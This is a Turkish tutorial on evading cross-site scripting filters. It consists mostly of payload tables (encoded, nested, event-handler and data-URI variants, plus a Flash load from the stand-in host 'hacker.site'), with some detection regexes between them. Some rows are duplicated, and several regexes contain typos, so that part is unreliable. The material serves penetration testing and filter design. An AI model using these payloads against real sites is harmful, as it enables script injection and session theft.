## 1. Yöntem

| | |
|---|---|
| <ScriPt>alert(1);</ScRiPt> | Büyük küçük harf karakterleri |
| <ScRiPt>alert(1); | Kapanış etiketleri olmadan büyük ve küçük harfler |
| <script/random>alert(1);</script> | Etiketten sonra rastgele dizi |
| >alert(1);</script> | |
| <scr<script>ipt>alert(1)</scr<script>ipt> | İç içe etiketler |
| <scr\x00ipt>alert(1)</scr\x00ipt> | Null Byte kullanılarak |

### Yazılım Güvenliği

<script>alert(1)</script> için

SecRule ARGS "(?i)(<script[^>]*>[\s\S]*?<\/script[^>]*>|<script[^>]
*>[\s\S]*?<\/script[[\s\S]]*[\s\S]|<script[^>]*>[\s\S]
*?<\/script[\s]*[\s]|<script[^>]*>[\s\S]*?<\/script|<script[^>]*>[\s\S]*?)"

## 2. Yöntem

| |
|---|
| <a href="javascript:alert(1)">show</a> |
| <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a> |
| <form action="javascript:alert(1)"><button>send</button></form> |
| <form id=x></form><button form="x" formaction="javascript:alert(1)">send</button> |
| <object data="javascript:alert(1)"> |
| <object data="data:text/html,<script>alert(1)</script>"> |
| <object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> |

### Swf yöntemi

| |
|---|
| <object data="//hacker.site/xss.swf"> |
| <embed code="//hacker.site/xss.swf" allowscriptaccess=always> |

**Tool**: https://github.com/evilcos/xss.swf

## 3. Yöntem - Event Handlers Identifier (ex: onerror, onload)

| | |
|---|---|
| <img src=x onerror=alert(1)> | <body onload=alert(1)> |
| <input type=image src=x:x onerror=alert(1)> | <isindex onmouseover="alert(1)" > |
| <form oninput=alert(1)><input></form> | <textarea autofocus onfocus=alert(1)> |
| <input oncut=alert(1)> | <body onload=alert(1)> |
| <input type=image src=x:x onerror=alert(1)> | <isindex onmouseover="alert(1)" > |
| <form oninput=alert(1)><input></form> | <textarea autofocus onfocus=alert(1)> |
| <input oncut=alert(1)> | |

### Yazılım Güvenliği

**(on\w+\s*=)**

\w = Sözcük karakterleri anlamına gelir. [A – Z, a – z, 0 – 9, _ ] Sözcük denildiğine bakmayın dikkat ettiyseniz rakamlar ve alt çizgide dahil edilmiş durumdadır.

\s = Satır başı, satır sonu vb. gibi karakterleri belirtir. [ \t\r\n\f\x0B ]

## 4. Yöntem

| | |
|---|---|
| <svg/onload=alert(1)> | <svg/////onload=alert(1)> |
| <svg id=x;onload=alert(1)> | <svg id=`x`onload=alert(1)> |

### Yazılım Güvenliği

**(?i)([\s\"'`;\/0-9\=]+on\w+\s*=)**

**İleri Versiyonu**

(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C
\x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3 B]*?=)

## 5. Yöntem

4. yöntemde halen bir problem var ve saldırgan bunun farkına vardı. Bazı tarayıcılar kontrol karakterlerini boşluğa dönüştürmektedir bu nedenle "\s" karakteri mümkün olan tüm karakterleri kapsamak için yeterli olamamaktadır. Bu biraz anlaşılmamış olabilir bunun için aşağıdaki örneklere bakalım.

Aşağıdaki payloadlar Safari hariç tüm tarayıcılarda çalışmaktadır;

| | |
|---|---|
| <svg onload%09=alert(1)> | <svg %09onload=alert(1)> |
| <svg %09onload%20=alert(1)> | <svg onload%09%20%28%2C%3B=alert(1)> |

Sadece Internet Explorer

```
<svg onload%0B=alert(1)>
```

%09 ifadesi URL Encoded haldedir ASCII karşığı ise TAB'dır,

%20'nin ise karşılığı Space'tir.

Biz burada bir TAB veya bir Space yolladık ve tarayıcılar bunu boşluğa dönüştürdü.

Kodlamaya göre karakter olması beklenen alan tarayıcı tarafından boşluğa dönüştürüldüğü için javascript kodumuz "\s" karakterinin sytax'ı kontrol ettiği alanın dışında kalacaktır.

## 6. Yöntem – UNICODE

```
<script>\u0061lert(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>eval("\u0061lert(1)")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
<img src=x onerror="\u0061lert(1)"/>
```

| u0061 = a | u006C = l | u0065 = e | u0072 = r | u0074 = t |
|---|---|---|---|---|

**1. Oktal (-8 li sayı sistemi)**

```
<img src=x onerror="eval('\141lert(1)')"/>
```

**2. Hexadecimal yani on altılı sayı sistemleri**

```
<img src=x onerror="eval('\x61lert(1)')"/>
```

**3. Onaltılık veya onluk Numerik referans karakterleri**

- Hexadecimal NCR:

```
<img src=x onerror="&#x0061;lert(1)"/>
```

- Decimal NCR:

```
<img src=x onerror="&#97;lert(1)"/>
```

**4. Superfluous Escape Characters**

```
<img src=x onerror="eval('\a\l\ert\(1\)')"/>
```

Hepsi bir arada ☺

```
<img src=x onerror="\u0065val('\141\u006c&#101;&#x0072t\(&#49)')"/>
```

## 7. Yöntem

Örneğin her zaman ki gibi yazılımcımız “alert” anahtar sözcüğünü engellemiştir ancak büyük olasılıkla “ale” + “rt” engellememiş olabilir. Javascript dizeler oluşturmak için kullanışlı çeşitli işlevlere sahiptir.
**Örneğin**:

| |
|---|
| <img onerror='ale'+'rt'(1)> |
| /ale/.source+/rt/.source |
| String.fromCharCode(97,108,101,114,116) |

## 8.Yöntem

Kodu yürütmek için örneklerimizde eval ve bazı işlevleri kullandık. Teknik olarak, dizeyi Javascript kodu olarak ayrıştıran işlevlere execution sinks denir. Bu işlevleri analiz etmemizin nedeni basittir. Bunlardan birini kullanabiliyorsak, Javascript komutu çalıştırabiliriz demektir.

Aşağıdakiler sadece birkaç execution sinks, tam liste için buraya tıklayabilirsiniz:

| | |
|---|---|
| setTimeout("JSCode") | Tüm tarayıcılar |
| setInterval("JSCode") | Tüm tarayıcılar |
| setImmediate("JSCode") | Internet Explorer 10 ve üzeri |
| Function("JSCode") | Bütün tarayıcılar |

Exectuion Sinks’in söz dizimi aşağıdaki gibidir:

| |
|---|
| [ ] . constructor . constructor(alert(1)) |

**[ ] =** Obje

**Birinci constructor =** Dizi

**İkinci constructor =** Fonksiyon

**Parantez içindeki ise** XSS payload’ının yer alacağı kısımdır.

## 9.Yöntem

javascript: kelimesi filtrelendiyse denenebilecek payloadlar:

| |
|---|
| <object data="JaVaScRiPt:alert(1)"> |
| <object data="javascript:alert(1)"> |
| <object data="java |
| script:alert(1)"> |
| <object data="javascript:alert(1)"> |
| <object data="javascript:alert(1)"> |
| <object data="javascript:alert(1)"> |
| <object data="javascript:alert(1)"> |

” javascript: ” yerine alternatif olarak ” data: ” veya Internet Explorer’a özel olan “vbscript: ” kullanabiliriz.

## 10. Yöntem

Data: , farklı ortam türleriyle sunulan küçük veri öğelerinin eklenmesine olanak tanır.

Söz dizimi: **data:[<mediatype>][;base64],<data>**

Burada bizi ilgilendiren medya tipi text/html ve verilerimizi şifrelememizi sağlayacak olan base64 işlevidir. Örneğin:

```
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
```

**“data: ” blackliste eklendi ise ;**

```
<embed code="DaTa:text/html,<script>alert(1)</script>">
<embed code="data&colon;text/html,<script>alert(1)</script>">
<embed code="data&#x003A;text/html,<script>alert(1)</script>">
<embed code="&#x64;&#x61;ta:text/html,<script>alert(1)</script>">
```

## 11. Yöntem

Vbscript işlevi kullanılabilir ama Internet Explorer’da çalıştığından çok yaygın değildir. VBScript’ tetiklemek için ” vbscript: ” veya ” vbs: ” kullanabiliriz.

a) **Internet Explorer 8’e kadar çalışanlar:**

```
<img src=a onerror="vbscript:msgbox 1"/>
<img src=b onerror="vbs:msgbox 2"/>
```

b) **Internet Exlorer Edge’ye kadar çalışanlar:**

```
<img src=c onerror="vbs:alert(3)"/>
<img src=d onerror="vbscript:alert(4)"/>
```

c) **” vbsscript: ” black liste eklendi ise;**

```
<img src=x onerror="vbscript&#x003A;alert(1)">
<img src=x onerror="vb&#x63;cript:alert(1)">
```

## 12. Yöntem (Sanitization – Sterilize etmek)

Güvenlik mekanizmaları genellikle tüm isteği engellemek yerine potansiyel XSS payloadlarını sterelize etmeyi uygun görür. Sızma testlerinde veya Bug Bounty camiasında karşımıza çıkan en yaygın filtreleme yöntemidir. Yani basitçe gönderdiğiniz payload'da anahtar kelimeyi/etiketi zararlı bulur ve sterelize ederek o kelimeyi çıkartır. Burada yapılabilecek hatalardan yaygın olanı ise anahtar kelimenin sadece ilk örneğinin kaldırılmasıdır.

**a) Source tekniği ile dizeden kaçmak**

| |
|---|
| unescape(/%78%u0073%73/.source) |

**b) decodeURI ve decodeURIComponent**

| |
|---|
| decodeURI(/alert(%22xss%22)/.source) |
| decodeURIComponent(/alert(%22xss%22)/.source) |

**c) parantez kullanmadan bir fonksiyona argüman iletme**

| |
|---|
| <img src=x onerror="window.onerror=eval; throw'=alert\x281\x29'"> |
| onerror=alert;throw 1; → **Basit** |
| <img src=x onerror=" window.onerror=eval;throw'\u003dalert(1)' "/> → **Gelişmiş** |

**eval =** Hata durumunda çağırılacak fonksiyon

**throw** = Hatayı oluşturan kısım

**alert\x281\x29** kısmı ise hata fonksiyonunun parametreleridir.

## REFERANSLAR


https://okankurtulus.com.tr/2020/04/29/derinlemesine-xss-bypass-seri-1/

https://okankurtulus.com.tr/2020/05/02/derinlemesine-xss-bypass-bolum-2/

https://okankurtulus.com.tr/2020/05/10/derinlemesine-xss-bypass-bolum-3/